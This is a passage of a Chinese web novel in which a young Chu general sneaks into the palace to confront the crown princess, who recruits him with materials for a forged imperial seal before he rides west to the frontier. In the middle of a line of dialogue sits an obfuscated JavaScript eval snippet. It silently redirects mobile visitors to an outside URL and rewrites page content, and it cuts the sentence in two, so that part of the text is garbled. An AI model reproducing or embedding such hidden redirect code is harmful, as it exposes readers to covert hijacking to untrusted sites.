“你不懂。风华二字就像是这老虎爪,一下子勾住我的心眼。我就想进去见一见她。楚兄,今夜这玩意制成了,咱们一起去?”季飞扬兴致勃勃道。 楚甲子本觉得此事荒唐。可是,他想起白日那封血字诏书,几杯黄汤下肚,热血上头。 他也想进去问一问那个太女:我楚家忠君爱国,祖父战死边关不得一个好字,还被人说成老不中用、贪生怕死……凭什么?如今又用一封血诏逼人出征,害我祖母要上吊自尽,以全忠心。 “好。我陪你去,我也想见见这天底下最狠心的女人到底长什么模样?” “哎……不对啊。她怎么就狠心了?”季飞扬诧异了。 楚甲子就将白日沈长清带诏和宫侍来宣旨的事说了,又反问季飞扬:“你说我楚家世代忠良,我父亲、伯伯、叔叔先后战死寒雪关,祖上立志收复丢失的山河,可如今如何?数月前,祖父战死,市井说我楚家无用。我想偷偷去寻祖父,去入伍……可是祖母……但是,今日她轩辕金簪一封血诏,生生将我祖母逼得投缳,要自尽了。你说她是不是这天下最狠毒的女人?” 季飞扬脑袋一突,与他争辩起来。弹曲的姑娘怕两个郎君闹起来,就进来劝酒。 两个气盛的少年一下子将三壶酒穿肠入肚,季飞扬和楚甲子还要争辩,随后不知谁起了头,一句:“那就当面去问问她呀。” 两个争得面红耳赤的少年醒悟过来,直接破窗而去。他们勾肩搭背、跌跌撞撞地上了街。 春雪听说雅间的事后还观望了街面,朝担忧的姑娘道:“没事。这般年纪的男孩都是冲动的,没醉死在你们的身上,那也是躺在路边了事,自有人管他们。” 19. 闯宫 少年不识愁滋味,放浪形骸夜作歌。而今知晓情仇事,黄汤入胆意孤行。 夜色如墨,偶点星子做灯。这是一个极其适合夜行的晚上。 季飞扬和楚甲子两人勾肩搭背、跌跌撞撞地到了金宫的外墙下。 两人被冬日的寒风侵袭着,从红粉脂香里染来的醉酒状态随这一路清醒大半。 但是,两人心中得那股烫热还没退下,刺激着他们奔涌的血液做些冲动、可消耗少年力气的事。 楚甲子定睛一看,门额上是司寇刑狱的威严牌匾。 他一把拉住还要往里冲的季飞扬,指着天上的北极星和高门匾额道:“方向不对,这是司寇衙门的地方,从这里进去是天牢和六卿寮。我们得绕过南墙,往东去。天机宫才是大周太女的储君之地,储君有旭日东升之意,在金宫的东面。” “嘿,内行。”季飞扬跟着他一路躲过在司寇寮外巡逻的禁军队伍,来到楚甲子勘定的僻静地方。 他细听四周,朝楚甲子伸出大拇指,“不愧是楚家人啊。” 楚甲子听到这话,想起祖父引以为豪的旧事。 他垂了眸色道:“我楚家发迹就是因勤王有功。楚家先祖助力德成帝——轩辕城,平定当时的六卿逼宫动乱。遂而,我楚家有金宫的布局图。” 季飞扬闻言,这酒是彻底醒了。 他流转晶莹的眸光,拍在楚甲子的肩头以作安慰,随后将飞虎爪抛上宫墙。正要抓绳跃上,他被楚甲子推到一旁了。 “哎,你……” “轻点声。禁军外巡,虎贲军内巡。两方错时巡逻,以防贼子刺杀贵人。 如今,禁军刚过去,想必里面的虎贲军正在过来。”楚甲子调整状态后脑子越发冷静。 “我楚家也曾干过禁军统领的职位。”随即,他暗道:【金宫内廷情况不明。我进去见太女是去质问一句,可不能害了这个好兄弟。】 说完,楚甲子撕了布袍缠在手掌,而后抓住精钢丝攀援而上。 季飞扬插腰站在墙下,看他行动间的行家模样,暗道:【不愧是一身赤胆的楚家后人。】 他从怀里取出凌云制作的精钢丝手套,戴在手掌后抓着钢丝绳,借着墙壁跃上墙头。 比起楚甲子,季飞扬的功夫更飘逸灵动。 楚甲子刚上墙头,见他上来,担忧道:“你……” “嘘……”季飞扬一把将楚甲子压伏在墙头。两人屏息等下方的虎贲军过去。 待巡逻的军士走远,两人才将绳索拉上墙头,准备抛向对面三丈远的内宫墙。 “我去那头拉着绳索,你再顺钢索过来。” “我……”楚甲子要反驳,被季飞扬一把按在肩头。 季飞扬的唇角吟着星光,似得意地笑道:“我可以借你的臂力跃过去,至于你么……” 他上下一扫楚甲子的身形,一拳砸在他厚实的臂膀肌肉,笑道,“你不担心借我力后半途砸下去摔个不成人形?” 楚甲子估测两墙间的距离。真别说,他可以送季飞扬一臂之力,而季飞扬未必能行。 他本身学得又是打战行军的硬家功夫,爬墙下墙自是没问题,若论内家功夫和足下轻功,明显不如这个新交的兄弟。而且,他比季飞扬高壮重得多。 此时,季飞扬已经如鹞燕一样,借着楚甲子手臂的推送之力,带绳跃向内墙的墙头。 待两墙上空拉起绳索,楚甲子深吸口气,踩着钢索迅速上内墙。 季飞扬为了拉住绳索以便承受楚甲子的体重也是用了大力。 精钢丝缠制的手套几被绳索掐进肉里去。 两人顺利过内宫墙,彼此在星月下相视一笑,互相打在肩头。 随后,他们借钢索下了墙,按楚甲子的记忆和观星认向法摸到天机宫的外墙。 “这里面就是了。”楚甲子拉住东盼西顾的季飞扬,突然道,“先说好,我是来问她一句为何这么对我楚家。你可不能伤害她。若是你对她有无礼举动,我就……” “就怎么着?”季飞扬哼了声。 他瞧眼天机宫的墙高,朝楚甲子道,“这墙不高,应该进去就是宫殿。你自个进去吧。我不进去了。” “什……什么?”楚甲子浆糊了。 【这哥们不是将那太女当梦中情人吗?怎么突然又不进去?】 “你去问身家性命,我想去谈情说爱。这你进去了,我还谈什么?回头你俩闹翻了,我又露了脸,这不害我没留好印象嘛。”季飞扬理所当然道,“你去吧,我在这等你。等等……咱们得有个暗号,宫里可养猫吗?” 他兀自说着,“行了,就三声猫叫为号,你快进去。” 楚甲子被他推到墙边,心里的感动像溪水般哗啦啦地淌着。他重重地抱了下季飞扬,而后攀着老虎爪的钢索上天机宫的墙。 季飞扬见人消失,捂在肚子处嘀咕句:“啧,喝多了,得找个地方尿。” 他的利眸环视四方,将脑海里绕着外宫墙走的路径和宫内方位图一一匹配。随后,他的目光射向司寇寮牢狱的方向,正是官禄道的六卿寮所方向。 “那里灯火通明,想必日日不回府的太宰大人住在那边吧。”季飞扬无声地呵了下,再观两地开阔且无遮挡,显见是一处大广场。凡有人踏入广场,若被巡逻者遇上,那就玩大发了。 “所以,从司寇衙门那边进来才合适嘛。” 季飞扬嘀咕句,瞧见卜耀阁的屋顶,勾起了玩味的唇角。 他趁着夜色,跃过卜耀阁,沿着雕花石柱横穿金宫大广场,闯进六卿寮所。 此时的他收敛了玩世不恭的态度,小心谨慎的模样像极夜行的刺客。 然则,季飞扬若是早几天入宫,或许能迎面撞上从内宫出来的太宰风子鸾。 如今,他注定要扑空了。风子鸾早已堂而皇之地留宿后宫。 ** 天机宫里,金簪沐浴完后无法入眠,就坐在案几前阅读书简。 她一个字都看不进去,目光撇在流过血的指尖,负疚像那高高在上的金色椅子,重重地压在她的心头。 她放下书本,看向紧闭的窗扇,走了过去后将窗户打开。 四目相对,彼此都愣了下。 灯火下的女孩乌发披肩,面容清丽且纯美,尤其那双幽深点星的凤眸,将人映得透彻明白,再及小巧秀美的鼻尖,乃至因惊讶微掀的润光唇齿。 她像是夜的精灵,点亮寒途的星辉明月,又像是初夏荷塘上不缀凡俗的摇曳清荷,这样的乍然、不期然却又理所当然地闯入少年本不平静的心田,掀起一阵令心眼巨震的狂风浪卷。 楚甲子愣怔了,稍许收敛睁大的瞳孔和鼻翼,带点痴且木讷道:“你……你别喊。我不是坏人。你知道太女在哪里吗?” 金簪嗅着顺风而来的汗臭、酒味,乃至一缕不该是此人有的混浊香味。 【有点讨厌……但是,这就是莺歌所说的……孤身边所没有的……不同宫侍这些男人的……雄性味道。】 这是什么?这是荷尔蒙的气息,吸引雌性目光的味道。 金簪不仅忘记了慌乱,还将手搭在窗栏,倾身看向满头大汗的高壮男人,如夜里的精灵般缓缓问道:“你……从哪里来?” “西教坊。不是……”在金簪诧异的眼神下,楚甲子将缠着布条的手掌按在金簪的嘴唇上,而后,他借着窗栏,一跃入室。 他将金簪推到内外间的门帘后,耳闻外殿推门声,彼此的呼吸都重了几许。他意识到布条后那柔软的双唇在轻微地颤动。女孩呼出的湿气穿透布条融入掌心,令四周浮动一层紧张的气息。 彼此贴近、四目相对,鼻尖传来独属于女孩身上的沁人心脾的清冽芳香,像是导火索一样点燃他肚里的酒水炸弹,燃起浓烈的火花。 “殿下,该就寝了。这窗怎么开了?” 南叶的目光从推开的窗户上挪开,看向晃动的珠帘和绸纱,心里突了一下。 她试探地走向窗户。 室内的金簪抓在男子的粗壮手臂,闯入鼻尖的浓烈汗臭以及一股不甚熟悉的刚硬气息,让她感觉像是被一团浓墨覆盖掉本属于她的清爽味道。 后知后觉的心……跳快了几许。 楚甲子松开扣住她嘴巴的手,耳闻帘外的关窗声,想磨蹭下湿热的不适的掌心。 “殿下,奴婢将窗户关了。”南叶伸出手关窗,目光瞥向珠帘后,试图看清帘纱后的场景。 在男子紧张的眼神下,金簪恢复以往的镇定,试图开口。 宫女的话声传来后,楚甲子一下子扣在金簪的脖子,不许她出声。 金簪的指甲掐进他轻薄的布袍,以眸光和手示意珠帘外:放开孤,孤来解决。 楚甲子已经确认掌下女子的身份,微惊的目光望入幽深镇定的眸渊。 这个瞬间,流淌的血液让他松开她,单膝跪在女孩的面前。 他似乎打算以这样的姿态接受随之到来的命运。 “殿下?”南叶急声喊道。 “站住。”金簪出声道。幽深的眸色凝在大男孩宽阔的脊背。【希望孤没有赌错,以血诏钓的鱼上钩了。】 南叶拉帘子的手定在半空,迟疑道:“殿下?” “孤没事,你出去替孤守着殿门。”金簪侧眸,再次道。 【这……明显有事。】 南叶想要出去喊虎贲军,而金簪的第三句话来了。 “守好门,别让旁人进来。”金簪亲自掀开帘子,盯在南叶紧张的面容上。 南叶看着如此镇定的金簪,懂了她的意思。行礼后,她瞥见金簪身后跪着的男人。她的呼吸一滞,躬身退出寝殿,守在门外。 金簪转身时擦掉唇上不适的汗臭味道,看向仰面望来的男子,猜测道:“十八?” 楚甲子不明白这句问话,重重地点头后不知要说什么。 他忘记了来此的目的,只将目光从她一身银白的纱罩上撇落回地。 “姓楚?”金簪再次问道。 楚甲子又重重地点头,随之想起身为楚家人的使命。 他想站起来大声地质问:“为什么送血诏给楚家,想要对楚家人赶尽杀绝吗?” 然而,那只柔弱无骨的白皙玉手抬起楚甲子的下颚,将他的慌乱、气愤、紧张、浑噩的表情尽收眼底。 金簪看着这张男性脸孔,细看了一番。 男人的肤色偏黄,像是上过油的麦色古玉。五官明朗大气,长得还算不错。 透过这张脸,金簪想起得是那个听闻西戎东进后穿甲上朝的太保楚刘素。 楚刘素一身正义、热血、忠君爱国、老当益壮的精神状态给了金簪深刻的印象。 此刻,她低低地说:“……孤……想了你好久。” 【孤想着楚太保的孙子是什么模样?如同楚太保一样忠君吗?你在认出孤后跪下了,同孤想要得一模一样。】 【天啊,她……太女想了我好久!?】 楚甲子忘记了呼吸,面孔涨得通红,连胸腔都开始剧烈地起伏。 金簪的眸里流过诧异,蹙眉道:“对不起,楚将军。孤本意不是这样,但是,孤不得不这么做。你……能理解孤吗?” 楚甲子愣愣地点头,心生失落。 失落于她微凉的指尖离开下颚,他需要那点凉来将心间熊熊燃起的情花熄灭。 “孤想你活着从寒雪关回来。”金簪歉然道。 楚甲子微张瞳孔,被女孩燃起的微醺感随她的话,进入另一种境界。 他好似听到寒雪关呼啸的狂风、嘶嚎的战马,乃至将士浴血奋战的搏杀声……以及寒风落叶中楚家人马革裹尸的宿命。 “为何不给楚家留一条活路?”楚甲子咬牙问道。 此刻,他彻底从金簪的清纯、芳香中清醒过来,脱离那种醺人的状态,问出此行的目的。 金簪答不上来。家国、私心,不知何时已在她心里混在一起。 她低声道:“楚家的忠心是守护这个国家,守护皇族赐下的荣誉。孤自生来就肩负这个国家,为此,孤可以牺牲任何人,为此做任何事。” “呵。”楚甲子发出意义不明的笑声。 酒醺的酥麻退去后,他的体内升起得是一种令人窒息的沉重感。而这种感觉,他一点都不陌生。 第一次,父亲战死边关的消息传至家中。初闻父亲的死讯,一家人悲痛欲绝。母亲随之不久殉情而去。楚甲子成无双亲的孩童,失意、仇恨、祖父的忠君爱国教导……这些沉重的情感压在他弱小的肩头。 第二次,楚家叔伯死守寒雪关,抵御摩尔人入关……然则,疯狗风子鸾忌惮楚家人的军功,暗夺兵权,导致营中起乱,以至叔伯战死寒雪关。随后,夏夔帝收了楚家的兵权,将楚家军归入地方道府的司马门下。这是皇权旁落的开端,夏夔帝用皇权将自己逼入死局,只留疯狗接任的风瑶骑兵在朝。 这种憎恨一国无能的感觉像是山一样压在忠君爱国的情感上,令日渐成熟的楚甲子愤怒难纾。 第三次,祖父。他忠于职责、尽于大义,毕生以驱逐西戎人、夺回西六府三城为目标。 家中奴仆、孙儿跪求他别去,祖父偏要去。孙儿要一起上战场,却被祖母以死相挟,死拖拽着不许去。 这种窒息般得越来越重的沉重感比捶铁的锤子重得多。 现在,这种感觉再次袭来,而它来自于这个女孩……不,大周的太女,窒息得令人发疯。 “微臣家中还有一老祖母。”楚甲子再次抗住这股沉重的情感。然而,他终究屈服于楚家的命运。 他想起祖父出征前说过的话: “孩子,祖父是老了,但是,祖父还提得起这把刀。记住,我楚家忠得是国、守得是大义,死在守国的战场上是楚家男人的归宿。你且先蛰伏着,待疯狗死去,军权归来,你也要传承我楚家的意志,将那西六府三城从摩尔异族的手上夺回来,解救那些被奴役百多年的大周百姓。 记住,绝不可让我大周的国土被异族侵占,绝不可让我大周的百姓被异族奴役,绝不可让我大周的君主被异族欺辱。” “孤遣沈少傅去楚府颁旨。他是奉行君子之道的老师,见过你祖母后,定会替孤照顾楚家。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059946|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金簪缓缓道。 这就是她的心思,纯粹的利用、善意的弥补。 这一刻,楚甲子再也不觉得这个女孩是寒夜明星、夏日不缀凡俗的清荷。她是一个权利者,一个充满算计、阴谋得正在成长的女帝王。 然而,他不得不承认一件事。 他栽了,栽在楚家忠君爱国的大义,栽在太女的身份和姓氏,栽在不期然却又理所当然的鲁莽悸动中。 楚甲子向她磕首,极其平静地磕首:“臣定不辱命。” 金簪暗吁口气,上前将他扶起来。而后,她就那样自然地握住他的手,将楚甲子拖拉着往帘外走去。 楚甲子诧异地看向交握的手,感受指下的细腻肌肤,以及走动中拂来的香气。他恍然意识到:即使她是太女,大周的储君,却依然是一个女子。这是女子的闺房。 他紧张地挣了下,却发现太女握得很紧,清醒的脑子迟钝地道:“殿下,男女有别。” 金簪不让他脱手,头也不回道:“你从西教坊过来,男女那点肉上欲望的事应该已经解决了吧。何况,孤是君,爱卿是臣。楚将军会犯上吗?” 【你不会。】 楚甲子的心像是被困在冰上的一团火焰,猛得炸裂了下又被寒气封冻。 他拉起唇角,注目在太女的黑长披发,随她的走动拂在两人交握的手掌,有一丝丝微痒。 【这个太女到底是个怎么样的女子?】 金簪顾不得他得那些心思,唤来守门的南叶,吩咐道:“你将后殿的灯点亮,拉开那大帘子。” 南叶匆匆地看眼楚甲子以及两人交握的手,垂目行礼后取了灯盏在前领路。 后殿中,南叶拉开墙壁上的装饰帘子,露出一副巨大的堪舆图。 这是大周西面的秦连长墙地带。 在楚甲子的错愕下,金簪松开他的手,在堪舆图前一指点在寒雪关的位置。 “如今,西戎人应该退回寒雪关,但是,石鸣春给的亏,以西戎人睚眦、火爆的脾气定不会善罢甘休。石鸣春应该会绕过千秋山,试图从燕门关,或者两处的小韩家关返回北延。 你说,如果你能带上风瑶骑兵,在小韩家关阻截石鸣春,将他们赶回寒雪关,可否利用石鸣春攻打摩尔人?” 楚甲子眨眼,摇头道:“微臣不知道。祖父说过,战场上瞬息万变,石鸣春的队伍路过京都,我曾去看过,那些人一人三骑,是精兵良马,擅进擅退。 按疯狗的意思,他不想自家子侄和风瑶骑兵送死折损,必希望我直接带人去寒雪关,守在那里等摩尔人退去,而不是招惹石鸣春。” “是。”金簪默然。 她想了许久的战略似乎毫无用处,喃喃道,“不仅你会被留置在那,疯狗也会派人将你监视。倘若你回来……恐怕……” 楚甲子突然想笑了。 他看着这个白衣黑发如邻家姑娘的小女子,突然道:“你也喊他疯狗?” “他比狗都不如。”金簪咬牙,撇着脸,生气道。 “难倒他欺负你?你是太女。”楚甲子有点急切。他也发现这个太女很随意,就随意得一屁股坐在金簪的旁边。 他吞了下口水,同她对张堪舆图发呆。 金簪哪有时间发呆。 她侧身抓住楚甲子的手臂,专注地看着他道:“孤给凌少保的孙子凌云一些东西,若你们能用上最好。孤想要你将西戎人赶出关外。当然,现在他们可能已经自退关外。但是,孤希望有人守住寒雪关,也希望你能震慑北延,不令他们轻易南下。” “倘若疯狗死去,北延慕容涛定会南下的。”楚甲子将以前祖父担忧的话道来,“北延慕容涛早有野心。但是,疯狗手握风瑶骑兵的大权,三十五万骑军被他霍霍成二十万,如今他肯派给我一万都得谢天谢地。” 金簪捶了下地面,看向地图上的西南方,属于月辉君的胜争道府地界。“孤如何才能从这盘棋局中脱颖而出?” “殿下为什么要脱颖而出?”楚甲子不解道,“五方争雄,必有乱战。殿下按兵不动,自能解围。这是祖父说过的话。 如今,疯狗亲自征兵扩充风瑶骑兵,他想要守住京畿,不就是最好的证明?他若敢危害皇族,天下群雄势必对他口诛笔伐。” 金簪明了此中的道理,沉着道:“但是他活着就迟早会对轩辕氏下手。” 楚甲子听后不言,沉默下去。 良久后,他又道:“我楚家兵马都被分散在寒雪关附近的三道府。此次西戎人入关,他们也护过一阵,可惜终究不敌。倘若殿下可以用国玺盖章,令我私下集结楚家散落四方的兵马。或许,我可以镇守寒雪关,有朝一日挥戈勤王,助你铲除疯狗。” 金簪抱膝的手臂轻轻地收紧。 她低声且不自信道:“可以吗?” 楚甲子侧身,跪在她的面前。 他专注地望着她清丽的面容,亮烁双眸道:“我楚甲子对天发誓,定护太女平安,守住寒雪关。” 金簪望着他坚定的面容,也在心里做了决定。 她站起来,边跑边道:“你跟我来。” 楚甲子愣了下,鼓荡的心口激出股热血,随她向书房奔去。 金簪将一张古图和一本册子,以及一张盖过国玺的文书递给楚甲子,轻声道:“这是古时雕刻国玺的笔录。国玺被父皇带去东都,孤无法亲自给你盖印。但是,孤可以用别的办法帮你。” 楚甲子抓着手里这些东西,有点回不过神。所谓的办法:制假国玺? 他的脑海里随之跳出一名孩童。 金簪已经在吩咐南叶伺候笔墨,按楚甲子的说法,书写一封招兵令,敕为“护国军”。 她将诏令交给南叶,令她盖太女印,朝楚甲子道:“孤的身家性命、一国之重,全部托付给楚将军。孤以轩辕姓氏、大周国名,敬……国之名士。” 说完,她向楚甲子抬袖行国礼。 楚甲子捏紧这些东西,沉重的无法言语。他以双膝跪地,朝她重重地还礼。 马为知己者良,士为知己者死。 此刻,楚甲子的少年雄心已经被太女金簪彻底激发。 他已忘记家中祖母宁可投缳都不让出征的事。他更明白了祖父所谓的忠、爱之意,以及心甘情愿被某些人驱策的使命和守护感。 南叶帮楚甲子打了包,将他送到天机宫的侧门口。 楚甲子背着这些东西离去,被冷风一吹,脑袋就清醒多了。 他又跑回墙下寻季飞扬,心中滋味是一言难尽的。 若非背上得这些东西还在,当真像是做一场大梦。 季飞扬在六卿寮所逛了一圈,哼哧想:爹说风子鸾的地方难摸,也不过如此。可惜,没碰上正主。 他又气呼呼地跑回天机宫墙外。 两人一会合,二话不说,趁着夜色深浓,翻墙而出。 这一次的成功入宫给季飞扬些甜头。他本计划二度进宫,却赶不上变化。 楚甲子带风子鸾拨出的五千骑出征寒雪关。此行,他还带上拖拉一大箱子的凌云、以及保镖角色的季飞扬。 20. 西征 宽阔的英雄大道扬起滚滚黄尘,五千三百一十骑快马迅速向西奔去。 季飞扬拥着凌云坐在其中一匹红马上。 他察觉怀里有动静,将披风解开一角,露出睡眼朦胧、打着哈欠声的小凌云。 “哟,咱家的小公子醒了,可颠着你?”寒风呼过脸颊,季飞扬又把刚露头的脑袋压进披风兜。 他一手拉缰绳,一手抱住圆滚滚的凌云,不让他颠下去。 “你都把我绑在你腰上了,就别抱这么紧。”凌云咕哝道。 然而,季飞扬听不清,打马“驾”得一声,跟上骑兵队伍。 骑兵们狂奔一日,终于在风灵驿站外的小林里下马休整。 楚甲子朝楚家的护卫队长楚荣道:“晚上你安排人巡夜。另外,注意我们的饮食。” 楚荣应后正要离去,风瑶骑兵的冯萧中郎将拦住楚甲子的道。 楚荣手握刀柄护在楚甲子身前,瞪看冯萧。 冯萧扯唇角,用力地朝楚甲子拱手,客气道:“在下冯萧,风瑶骑兵轻骑营里得一名卫长。此次出行,我被风太宰提拔为队里的中郎将。” 楚甲子回礼,喊道:“冯郎将。” 冯萧笑出声,又沉着道:“楚家五代,男子各个忠君爱国。日前,西戎人东进,楚老将军年高七十,却披挂上阵,乃是国之英雄。 冯某和营中骑兵对此深感敬佩。此行我们前往寒雪关,途径西行关。若是楚小将军信得过在下,可前去吊唁楚老将军。” 冯萧说完要走,被楚甲子喊住。 “冯将军请慢,若是不嫌弃,请坐下一起吃吧。”楚甲子朝入营的飞扬、凌云两兄弟颔首,待冯萧转身,伸手作请。 楚荣得楚甲子的示意,急去安排巡夜等事。 季飞扬等冯萧入座,给他摆碗倒水。 他是自来熟的,东拉西扯一通,就同冯萧闲聊上了。 经楚甲子挽留一事,冯萧也挺佩服这个少年的大气,笑道:“此时能被风太宰派往西地,以两位看,冯某该是风营中得哪一类?” “我在风太宰那边算不得有多大的台面。他以我为使,派我等前往寒雪关,目的无非有二。第一,我祖父出征,调用地方司马府兵御敌。风太宰是想看我楚家还有多少能力号召地方军,以便一起戕害。第二,西戎退关,他自是想知道西面的情况。 如此目的,若以亲近人来监视我未免大材小用。”楚甲子理所当然道。 “楚小将军有乃祖运筹之智。不错。我所行目的之一就是监督楚小将军,必要时将你就地斩杀,清除楚家后人。”冯萧说道。 “啪”得一声,楚甲子站起来,怒目看向冯萧。 季飞扬吓得连筷子上的米粒都掉碗里。 凌云两边看看,继续埋头扒饭。【若真要灭口,这将军就不会说出来了。】 冯萧年长,三十有余,并未因楚甲子的失态而动怒。他仰头看向气盛的少年,终归是个被祖父滞留在家未经历真战的大男孩。 他垂头继续道:“楚小将军何必动怒?我冯某人敢在这刻说出来,必是做好准备。” “冯将军的准备是五千骑干得过楚兄弟的三百府兵以及我带的七八个手艺匠人?”季飞扬边吃菜边道,一边又去拉硬邦邦的楚甲子,拽他坐下。 “说来惭愧。”冯萧苦笑道,“冯某带的轻骑营三队是风瑶骑兵里的异类,坚守前任营长和前任风瑶之首——季大将军的信诺,护国忠君。 然则……呵呵…… 如今你二位应该能猜到,冯某被派往寒雪关,一点都不奇怪吧。冯某不是风太宰的亲近军马,不顺他意,被丢出来送死再顺便做点事……同楚小将军的命一样的。呵呵…… 楚小将军,今天出发第一日,我等将面对得是臭名昭著的西戎狼骑,逢战必损。而打战最忌军内猜疑、动摇军心的事。 所以,冯某前来说明风太宰的目的,以示诚意。 那么,请问楚小将军,此行正面撞上西戎人,楚小将军觉得该当如何?” 冯萧问出真正的目的。 季飞扬玩笑不恭,大声道:“自是打他们。” 凌云哕了声,在几人的眼神下淡定得将稀粥呼啦下肚。“不好意思,我吃好了,先去休息。” 他拨拉背上的大包袱就要出帐。 楚甲子喊来护卫,令他带凌云回帐休息。 冯萧不懂楚家随军带个还没马高的少年做什么。 待人离去,他愁眉道:“我们轻骑兵对付狼骑摩尔人,不占优势的。不如风瑶骑兵里的重骑队伍,有车弩重矢,能拉防线。” 楚甲子想起手握的本钱,低声道:“若没有,我们就造出来。休整至三更,继续快马上路。” “等等,”冯萧叹了声道,“冯某队伍里的粮草只够一月,而后面风太宰是否会调拨粮草,冯某揣度不到。楚小将军呢?” “呵,我楚家哪来军粮?既入山林,又逢冬雪……且先熬着吧。”楚甲子说完,撇开眸光。 他的脑海里想起夜间金簪提过的:小韩家关。 夜深时,季飞扬打在旁边人的肩头,听楚甲子吱声,就问道:“这两日忙得脚不沾地,还未问你见过我梦中情人后的事。” 楚甲子掀动鼻翼,沉默了会道:“祖父说,天下女子有三种。第一种:贞烈女子,如我娘。第二种:宜家女子,如我祖母。第三种:红尘女子,如天下这千千万万的女子。然而,她哪一种都不是。我只知道,这种女子,不沾为妙。” “呵,你这什么分法,哄着家里的妇人吧。在我看来,这天下女子就一种:多情女。”季飞扬正要列举他认识的姑娘。 楚甲子哼了声道:“恰好,她绝不是个多情女。你去招惹她,等着被她利用至死。睡了,余下一个时辰就要出发。” 季飞扬看他翻个身,轻吐口气,侧身去抱凌云入睡。 凌云嫌弃地踹他一脚,挪了下继续睡。 *大金宫* 数日后,大金宫里,金簪看向躺在床上的男子,正是轩辕帝册封的风神何丰。 此刻,这个男人惨白如纸,一身烂疮,奄奄一息地躺在床榻,哪还有以往的精致。 金簪朝高苗问道:“什么是阴阳人?” “便是男女合于一身,乃是一种自娘胎里带出来的病症。他应是生来如此。现下他的毒疮已经从那祸根处溃烂至周身,臣也只能这么做才有可能保下他的性命。”高苗朝杜鹃道,“请去将管理宫侍的司侍监找来。对于阉割之事,他们更擅长。” 金簪朝看来的杜鹃颔首。 待杜鹃离开,高苗又道:“殿下,接下来微臣要给他清理毒疮,请殿下离开吧。” 金簪便带南叶出门,留下三名小侍听高苗吩咐。 殿外庭院,南叶朝金簪道:“奴婢按殿下的吩咐,遣了金凤宫里、我们安插的小侍支走守冷殿的侍者。这才让何丰有机会逃出来。” “母后留他做什么?”金簪不解道,“折磨他为乐?” 南叶不敢应声。 “罢了。你嘱咐高苗,尽量医治他。若能康复,就遣个法让高苗带他出宫。”金簪吩咐完后遥望天际的浮云,喃道,“以轻骑快马的速度,差不多到西行关了。” ** 沈长清在殿内听金簪说假制国玺的事,还将制玺手稿交给楚甲子,当即呼道:“殿下,岂可如此糊涂?国玺手稿事关重大,一旦流落在外被月辉之流耳闻,天下必掀争夺此物的风波。” 随即,他赶紧向金簪躬身行礼,告罪失敬。 金簪看向不出声的凌飞,缓声道:“凌大人。” 这几日凌飞都有些神思不嘱,在担心随军西行的凌云。不同于将人留在东都,东都还有舅祖庇护凌云。如今,凌云是西行寒雪关,路途遥远、危机难测。 凌飞闻言,行礼道:“此事确实不妥。殿下,您经过这几日才说出此事,必定已是思量多时。” “不错。少傅请起。”金簪看向两人道,“真国玺在东都,孤手头只有孙裴大人留下得一份盖玺文书。孤早将东西准备好,意图交给楚甲子,正是要收服他。同时,为孤日后谋得政权留一助力。 除此外,天下能制出国玺花纹之人不多。” “微臣的孙儿恰好是一个。”凌飞接话道,朝沈长清道,“孙太傅留下多少人在京?” 沈长清一顿,低首道:“京中余三十人,另有百余探子,各行各业,散布在东都至京都的沿途各县府。” 凌飞与金簪的眸光对上,垂首道:“遣人往西面送信,交给凌云。制玺征兵可以,但是,此后必须将假玺、手稿、图册全部毁掉或带回来,不可外传。” 沈长清张口,又无言。 他反复看向一老一少,无奈道:“当初就不该这样做,风险太大了。” 金簪不以为意道:“即使流落在外也没什么。” 凌飞和沈长清愕然地看向她。 “孤知道,此玺关乎国本。轩辕月辉、慕容涛,天下群豪闻之,必会出手争夺。夺玺者,入京都,驻金宫。你猜,多少人会为此动心,因它拼了命。” 金簪的眸里映出血色,幽眸穿过无言的凌飞和震住的沈长清,直瞧向金宫外的无尽天穹。 【原来太女在下这样大的一盘棋。她的落子已经不局限在这金宫,但凡有机会,她就能翱翔九天,谁也困不住她。】沈长清第一次意识到这点。他去看凌飞,那镇定的表情似一点都不意外。 沈长清轻抿唇角,躬身道:“日前,微臣去了楚家,听闻一件事。” “楚家祖母如何?”金簪知道楚甲子在外能够安心全系在这祖母身上。 “楚家祖母倒是无碍,吃斋念佛,给孙儿祈福。但是,她告诉微臣,楚家丢了一件东西,乃是……金宫布局图。”沈长清蹙眉道,“这东西说机密也不算,说不机密却也关乎金宫的安全。在这个时节丢失,恐怕另有隐患。” 金簪沉吟了下,垂眸道:“你去一趟西教坊,查当日同楚甲子一起去得还有谁?以他的身手,不可能一个人进得来金宫。” 沈长清愣了下,喃喃道:“这楚家小子……楚小将军还会喝花酒?”在凌飞的轻咳下,沈长清赶紧垂身作揖。 待两人离去,金簪也呵了声。 南叶问道:“殿下笑什么?” 金簪不答,反问道:“说起楚家祖母,孤记得祈正卿家中也有病人,他妻子如何了?” 南叶嚅动唇齿,垂首道:“今年冬雪早降,祁大人的夫人本在秋时好转却在入冬后突发高热。听说,祁大人为给爱妻退热,赤身卧冰给夫人降温。可是,没过一月,他夫人还是过世了。太仆寺那边说,祁大人已经递了辞呈,扶灵归山。” 金簪沉默了许久,低声道:“祈太师如何反应?” “毫无动静。”南叶低声道。 “罢了。祈家如今已是颓势。当初,祈太师站出来拥立孤,不过是想给祈家复兴的机会。他家得这批子侄里能起来就一个祁缙云。孤突然想知道他的妻子是何等风情模样,令祈正卿这样云淡风轻的人为她做到如此痴情。”金簪垂眸看向书案上的简牍,幽幽道,“当真是叫人羡慕。” “殿下何必羡慕旁人。殿下也能觅得良婿……”南叶说到这就住口,见金簪抬眸看来,眸色幽深如墨。她一时心惊胆战地跪在地上:“奴婢错言,请殿下责罚。” “下不为例,起来吧。”金簪起身,朝她道,“你将莺歌送到舞凰殿。” “是。”南叶待她离开才徐徐站起,拍下嘴巴,喃道,“怪我。怎么忘记殿下是太女,太女岂可有夫、何来婿。” *英雄大道* “楚小将军,前面可是号称神仙难渡的落雁山。”冯萧不解楚甲子转道的用意,勒住马缰,不再前行。 